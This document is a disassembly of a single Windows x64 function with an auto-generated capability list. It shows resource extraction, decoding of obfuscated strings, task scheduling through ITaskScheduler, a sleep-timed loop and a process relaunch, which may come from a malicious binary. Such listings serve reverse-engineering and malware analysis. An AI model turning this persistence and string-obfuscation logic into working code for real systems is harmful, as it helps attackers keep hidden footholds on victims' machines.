Function at 0x140002900
Capabilities:
Check os version
Create process on windows
Create thread
Extract resource via kernel32 functions
Get session user name
Schedule task via itaskscheduler
Set current directory

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x4208]
mov eax, 0x4308
call fcn.140017d00
sub rsp, rax
mov qword [0x14001e710], rcx
lea rdx, [rbp + 0x5f0]
mov r8d, 0x200
xor ecx, ecx
mov qword [rsp + 0x4328], rbx
mov qword [rsp + 0x4338], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.msvcrt.dll_srand]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
xor r12d, r12d
test eax, eax
js 0x1400035cd
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
or edx, 0xffffffff
xor ecx, ecx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x1400035cd
call fcn.14000c2b0
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
lea r8d, [r12 + 1]
cmp al, 5
ja 0x1400029fc
lea rax, [rsp + 0x50]
lea r9, [0x140018638]
lea rcx, [0x140018658]
jmp 0x140002a0f
lea rax, [rsp + 0x58]
lea r9, [0x140018688]
lea rcx, [0x140018898]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
lea rcx, [rsp + 0x60]
call fcn.140016c30
test eax, eax
je 0x140002a58
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002a38
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140002a48
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400035cd
cmp qword [rsp + 0x58], r12
je 0x140002a82
lea rcx, [rbp + 0xec0]
mov dword [rbp + 0xec0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [rsp + 0x50]
call fcn.140001080
jmp 0x140002a8c
lea rcx, [rsp + 0x50]
call fcn.140001bf0
test eax, eax
je 0x140002a28
mov dword [0x14001e690], r12d
lea rcx, [0x14001e6b0]
mov edx, 0x800
mov dword [0x14001e6a8], r12d
mov qword [0x14001e698], r12
mov qword [0x14001e6a0], r12
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
lea rcx, [rbp - 0x10]
call fcn.140007590
mov ecx, 0x68
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x70], r12d
mov qword [rbp - 0x60], r12
mov qword [rsp + 0x78], r12
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
test rax, rax
je 0x140002af8
mov rcx, rax
call fcn.140005d30
mov qword [rbp], rax
jmp 0x140002afc
mov qword [rbp], r12
mov rcx, qword [str.7nA_]
lea rdx, [rbp + 0x21f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x21f0]
lea r11, [rbp + 0x21f0]
lea rcx, [rbp + 0x5f0]
test al, al
je 0x140002b46
nop dword [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140002b30
mov word [rcx], r12w
lea rdx, [rbp + 0x5f0]
mov r8d, 0xa
xor ecx, ecx
mov edi, r12d
mov rbx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140002b91
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140002b91
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140002b91
mov edi, dword [rax]
add rbx, 4
cmp dword [0x14001e6e8], r12d
je 0x140002baa
lea rcx, [rsp + 0x68]
mov r8d, edi
mov rdx, rbx
call fcn.14000e0a0
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.140004db0
test eax, eax
jne 0x140002bef
cmp dword [0x14001e6e8], r12d
je 0x140002be1
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x140002be1
mov rcx, qword [0x14001e780]
mov edx, 8
call qword [0x14001e798]
lea rcx, [rbp - 0x10]
call fcn.140007710
jmp 0x140002a28
mov r8, qword [rbp + 0x10]
lea rax, [rsp + 0x68]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp]
mov rbx, qword [rax + 0x28]
test r8, r8
je 0x140002c1b
mov rcx, qword [0x14001e780]
mov edx, 8
call qword [0x14001e798]
mov rcx, rbx
call fcn.14000c9a0
mov qword [rbp + 0x10], rax
test eax, eax
je 0x140002bbc
mov rcx, qword [rbp - 8]
mov qword [rsp + 0x4330], rsi
mov qword [rsp + 0x4300], r13
mov qword [rsp + 0x42f8], r14
mov qword [rsp + 0x42f0], r15
call fcn.140015b10
xor ecx, ecx
mov dword [0x14001e6ac], r12d
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x78], r12
call qword [sym.imp.msvcrt.dll__time64]
lea r9, [rbp - 0x10]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x18]
lea r8, [0x140003780]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
mov qword [rbp - 0x50], r12
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp]
mov dword [rbp - 0x80], r12d
lea rsi, [0x14001a978]
nop word [rax + rax]
cmp dword [rdx + 0x30], 0
mov eax, r12d
mov dword [0x14001e694], eax
jle 0x140002cb0
nop
movsxd rcx, eax
mov rax, qword [rdx + 0x40]
mov ebx, dword [rax + rcx*4]
mov rax, qword [rdx + 0x38]
mov rdi, qword [rax + rcx*8]
lea rcx, [rbp - 0x10]
call fcn.14000a1a0
test eax, eax
je 0x14000367d
lea rcx, [rbp - 0x10]
call fcn.14000a010
test eax, eax
je 0x14000367d
lea rcx, [rbp + 0x548]
movzx r8d, bx
mov rdx, rdi
call fcn.14000d3a0
test eax, eax
je 0x14000367d
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, qword [rbp]
movsxd r8, dword [0x14001e694]
mov rdx, qword [rcx + 0x48]
mov rcx, rax
mov r14, rax
sub rcx, qword [rdx + r8*8]
mov qword [rbp - 0x70], rax
cmp rcx, 0x3840
jle 0x140002d8b
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140004050
test eax, eax
jne 0x140002d78
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140004050
test eax, eax
je 0x14000367d
mov rax, qword [rbp]
movsxd rdx, dword [0x14001e694]
mov rcx, qword [rax + 0x48]
mov qword [rcx + rdx*8], r14
xor r15d, r15d
mov r13d, r15d
jmp 0x140002da7
lea rsi, [0x14001a978]
lea r9, [rbp + 0x4220]
lea r8, [rbp - 0x68]
lea rcx, [rbp - 0x10]
xor edx, edx
mov qword [rbp - 0x68], r15
mov dword [rbp + 0x4220], r15d
mov r12d, r15d
call fcn.140007870
test eax, eax
je 0x140002edb
mov ecx, 0x40
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
mov rbx, rax
test rax, rax
je 0x140002e03
mov rcx, rax
call fcn.1400022c0
mov qword [rbx], rsi
mov dword [rbx + 0x28], r15d
mov qword [rbx + 0x30], r15
mov qword [rbx + 0x38], r15
mov qword [rbx + 0x20], r15
jmp 0x140002e06
mov rbx, r15
mov r9d, dword [rbp + 0x4220]
mov r8, qword [rbp - 0x68]
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x48]
lea rdx, [rsp + 0x68]
mov rcx, rbx
mov dword [rbp - 0x7c], r15d
mov qword [rbp - 0x48], r15
mov qword [rsp + 0x20], rax
mov esi, r15d
call fcn.140002660
mov rdi, qword [rbp - 0x48]
test eax, eax
je 0x140002e54
mov r8d, dword [rbp - 0x7c]
mov rdx, rdi
mov rcx, rbx
call fcn.140002400
mov esi, eax
test rdi, rdi
je 0x140002e6e
mov rcx, qword [0x14001e780]
mov r8, rdi
mov edx, 8
call qword [0x14001e798]
test esi, esi
je 0x140002ea2
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
cmp qword [rbx + 0x20], rax
jl 0x140002ea2
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x140002e92
mov rcx, r14
call fcn.140004220
mov rsi, rbx
mov qword [rsp + 0x78], rbx
mov r12d, 1
jmp 0x140002ee0
test rbx, rbx
je 0x140002edb
lea rax, [0x14001a978]
mov rcx, rbx
mov qword [rbx], rax
call fcn.14000b330
mov rcx, qword [rbx + 8]
lea rax, [0x14001a948]
mov qword [rbx], rax
test rcx, rcx
je 0x140002ed2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_]
mov rsi, qword [rsp + 0x78]
mov r8, qword [rbp - 0x68]
test r8, r8
je 0x140002efb
mov rcx, qword [0x14001e780]
mov edx, 8
call qword [0x14001e798]
test r12d, r12d
jne 0x140002f18
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r13d
cmp r13d, 2
jl 0x140002da0
mov r14, qword [rbp - 0x70]
mov r15, qword [rbp - 0x38]
cmp r13d, 2
je 0x140003673
mov rax, qword [rbp - 8]
mov qword [rax + 0x18], rsi
mov rax, r14
sub rax, qword [rbp - 0x50]
cmp rax, 0xe10
jle 0x140002f5a
mov rcx, qword [rbp]
lea rdx, [rbp - 0x10]
call fcn.1400054e0
test eax, eax
je 0x140003673
mov qword [rbp - 0x50], r14
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xfe0]
mov dword [rbp - 0x70], pe_nt_image_headers64
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rcx, qword [str.9L8pNf]
lea rdx, [rbp + 0x3df0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x3df0]
lea r11, [rbp + 0x3df0]
lea rcx, [rbp + 0x9f0]
test al, al
je 0x140002fb6
nop
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140002fa0
xor r12d, r12d
lea r9, [rbp + 0xfe0]
lea r8, [rbp + 0x9f0]
mov word [rcx], r12w
lea edx, [r12 + 0xe]
lea rcx, [rbp - 0x10]
call fcn.140007870
call fcn.140006c50
mov rcx, qword [str.GOcxZe8nmLSRNI]
test eax, eax
jns 0x14000307b
lea rdx, [rbp + 0x19f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x19f0]
lea r11, [rbp + 0x19f0]
lea rcx, [rbp + 0x5f0]
test al, al
je 0x140003028
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003012
mov word [rcx], r12w
mov rcx, qword [str._JcCiTAO]
lea rdx, [rbp + 0x39f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x39f0]
lea r11, [rbp + 0x39f0]
lea rcx, [rbp + 0xac0]
test al, al
je 0x1400031a6
nop dword [rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003060
jmp 0x1400031a6
jne 0x14000311b
lea rdx, [rbp + 0x11f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x11f0]
lea r11, [rbp + 0x11f0]
lea rcx, [rbp + 0x5f0]
test al, al
je 0x1400030c6
nop word [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x1400030b0
mov word [rcx], r12w
mov rcx, qword [str.mhtC_EFnZTpMZTQp5TpH_loVA]
lea rdx, [rbp + 0x31f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x31f0]
lea r11, [rbp + 0x31f0]
lea rcx, [rbp + 0xac0]
test al, al
je 0x1400031a6
nop word [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003100
jmp 0x1400031a6
lea rdx, [rbp + 0x29f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x29f0]
lea r11, [rbp + 0x29f0]
lea rcx, [rbp + 0x5f0]
test al, al
je 0x140003156
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003140
mov word [rcx], r12w
mov rcx, qword [str.mhtC_EFnZTpMZTF09loz_EyCiJfGOcx]
lea rdx, [rbp + 0x15f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x15f0]
lea r11, [rbp + 0x15f0]
lea rcx, [rbp + 0xac0]
test al, al
je 0x1400031a6
nop word [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003190
mov word [rcx], r12w
lea r9, [rbp + 0xac0]
lea r8, [rbp + 0x5f0]
lea rcx, [rbp - 0x10]
mov edx, 0xe
call fcn.140007870
mov edi, r12d
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, dword [0x14001e690]
mov rbx, rax
cmp ecx, 2
je 0x14000320b
mov rcx, rax
sub rcx, qword [rbp - 0x40]
cmp rcx, 0x12c0
jle 0x140003248
mov rsi, qword [rbp - 0x78]
mov rcx, rax
sub rcx, rsi
cmp rcx, 0x3840
jle 0x140003248
jmp 0x14000320f
mov rsi, qword [rbp - 0x78]
mov eax, dword [0x14001e690]
cmp eax, 1
jne 0x14000321f
mov eax, r12d
jmp 0x14000322d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140004310
mov qword [rbp - 0x40], rbx
cmp eax, 1
jne 0x14000323e
mov dword [0x14001e6ac], eax
jmp 0x140003248
test eax, eax
cmovs rsi, rbx
mov qword [rbp - 0x78], rsi
mov rax, qword [rbp]
movsxd rdx, dword [0x14001e694]
mov rcx, qword [rax + 0x50]
mov rax, rbx
sub rax, qword [rcx + rdx*8]
cmp rax, 0x3840
jle 0x140003280
lea r8, [rbp]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140004ba0
test eax, eax
jne 0x14000351d
sub rbx, r15
cmp rbx, 0x7080
jle 0x14000341f
mov rcx, qword [rbp + 0x38]
call fcn.14000c9a0
mov rcx, rax
mov rbx, rax
call fcn.140005880
mov rcx, qword [str.SaFGOI]
test eax, eax
je 0x14000334b
lea rdx, [rbp + 0x1df0]
call fcn.14000deb0
movzx edx, byte [rbp + 0x1df0]
lea r11, [rbp + 0x1df0]
lea rcx, [rbp + 0x5f0]
test dl, dl
je 0x1400032f6
nop dword [rax + rax]
inc r11
movsx eax, dl
add rcx, 2
movzx edx, byte [r11]
mov word [rcx - 2], ax
test dl, dl
jne 0x1400032e0
mov word [rcx], r12w
mov rcx, qword [str.iTpM9TAO]
lea rdx, [rbp + 0x25f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x25f0]
lea r11, [rbp + 0x25f0]
lea rcx, [rbp + 0xac0]
test al, al
je 0x1400033d6
nop word [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003330
jmp 0x1400033d6
lea rdx, [rbp + 0x2df0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x2df0]
lea r11, [rbp + 0x2df0]
lea rcx, [rbp + 0x5f0]
test al, al
je 0x140003386
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140003370
mov word [rcx], r12w
mov rcx, qword [str.iJjnZTtCNYSp_P]
lea rdx, [rbp + 0x35f0]
call fcn.14000deb0
movzx eax, byte [rbp + 0x35f0]
lea r11, [rbp + 0x35f0]
lea rcx, [rbp + 0xac0]
test al, al
je 0x1400033d6
nop word [rax + rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x1400033c0
mov word [rcx], r12w
lea r9, [rbp + 0xac0]
lea r8, [rbp + 0x5f0]
lea rcx, [rbp - 0x10]
mov edx, 0xe
call fcn.140007870
test rbx, rbx
je 0x140003410
mov rcx, qword [0x14001e780]
mov r8, rbx
mov edx, 8
call qword [0x14001e798]
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov r15, rax
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 8]
call fcn.140014830
test eax, eax
je 0x140003676
lea rcx, [rbp - 0x10]
mov edx, 1
call fcn.140007870
test eax, eax
je 0x140003676
lea rcx, [rbp - 0x10]
call fcn.140007b90
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.msvcrt.dll__wtoi]
cmp eax, 1
je 0x140003474
lea rcx, [rbp - 0x10]
mov edx, 0xa
call fcn.140007870
test eax, eax
je 0x140003664
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.msvcrt.dll__wtoi]
cmp eax, 0x3e
jne 0x1400034b9
lea rcx, [rbp - 0x10]
cmp dword [rbp + 0x52c], r12d
je 0x1400034ac
lea edx, [rax + 1]
call fcn.140007870
test eax, eax
je 0x140003664
mov dword [0x14001e6a8], 1
jmp 0x1400034b9
call fcn.140003e00
test eax, eax
je 0x140003664
cmp dword [0x14001e6ac], r12d
jne 0x140003554
mov eax, dword [0x14001e6a8]
mov ebx, 0x14
test eax, eax
je 0x1400034e1
lea eax, [rbx - 0xa]
mov dword [0x14001e6a8], r12d
jmp 0x1400034e8
mov eax, dword [rbp - 0x80]
test eax, eax
jle 0x1400034f2
dec eax
mov ebx, 1
mov dword [rbp - 0x80], eax
mov eax, dword [0x14001e6a8]
test eax, eax
jne 0x14000350d
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
dec ebx
test ebx, ebx
jg 0x1400034f2
inc edi
cmp edi, 0x64
jl 0x1400031d0
jmp 0x140003676
mov rax, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rbx, qword [rax + 0x28]
test r8, r8
je 0x140003540
mov rcx, qword [0x14001e780]
mov edx, 8
call qword [0x14001e798]
mov rcx, rbx
call fcn.14000c9a0
mov qword [rbp + 0x10], rax
test eax, eax
jne 0x140003676
cmp dword [0x14001e6e8], r12d
je 0x140003579
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x140003579
mov rcx, qword [0x14001e780]
mov edx, 8
call qword [0x14001e798]
lea rcx, [rbp - 0x10]
call fcn.140007710
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140003592
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400035a2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x42f8]
mov r13, qword [rsp + 0x4300]
mov rsi, qword [rsp + 0x4330]
mov r15, qword [rsp + 0x42f0]
cmp dword [0x14001e6ac], 0
je 0x140003726
lea rcx, [rbp + 0x580]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x58], r12
mov dword [rbp + 0x580], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea rcx, [rbp - 0x58]
call fcn.14000bc60
xor edx, edx
mov ecx, 0x20a
call fcn.14000e210
mov rdi, qword [rbp - 0x58]
mov rbx, rax
test rax, rax
je 0x1400036be
mov r9, rdi
mov r8d, 0x104
mov rdx, rax
sub r9, rax
mov r10d, r12d
nop dword [rax]
lea rcx, [r8 + 0x7ffffefa]
test rcx, rcx
je 0x14000369d
movzx eax, word [rdx + r9]
test ax, ax
je 0x14000369d
mov word [rdx], ax
add rdx, 2
dec r8
jne 0x140003640
jmp 0x1400036a2
cmp dword [0x14001e6ac], r12d
jne 0x140003554
jmp 0x140003676
xor r12d, r12d
lea rsi, [0x14001a978]
mov eax, dword [0x14001e694]
mov rdx, qword [rbp]
inc eax
mov dword [0x14001e694], eax
cmp eax, dword [rdx + 0x30]
jl 0x140002cc0
jmp 0x140002cb0
test r8, r8
jne 0x1400036ac
sub rdx, 2
mov r10d, 0x8007007a
mov word [rdx], r12w
test r10d, r10d
js 0x1400036be
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rax, [rbp - 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x580]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], r12
mov rcx, rdi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140003726
mov rcx, qword [0x14001e780]
mov r8, rdi
mov edx, 8
call qword [0x14001e798]
mov rcx, qword [0x14001e6e0]
mov rdi, qword [rsp + 0x4338]
mov rbx, qword [rsp + 0x4328]
test rcx, rcx
je 0x14000374f
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x14001e6e0], r12
mov rcx, qword [0x14001e6f0]
test rcx, rcx
je 0x140003768
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x14001e6f0], r12
call qword [sym.imp.ole32.dll_CoUninitialize]
or eax, 0xffffffff
add rsp, 0x4308
pop r12
pop rbp
ret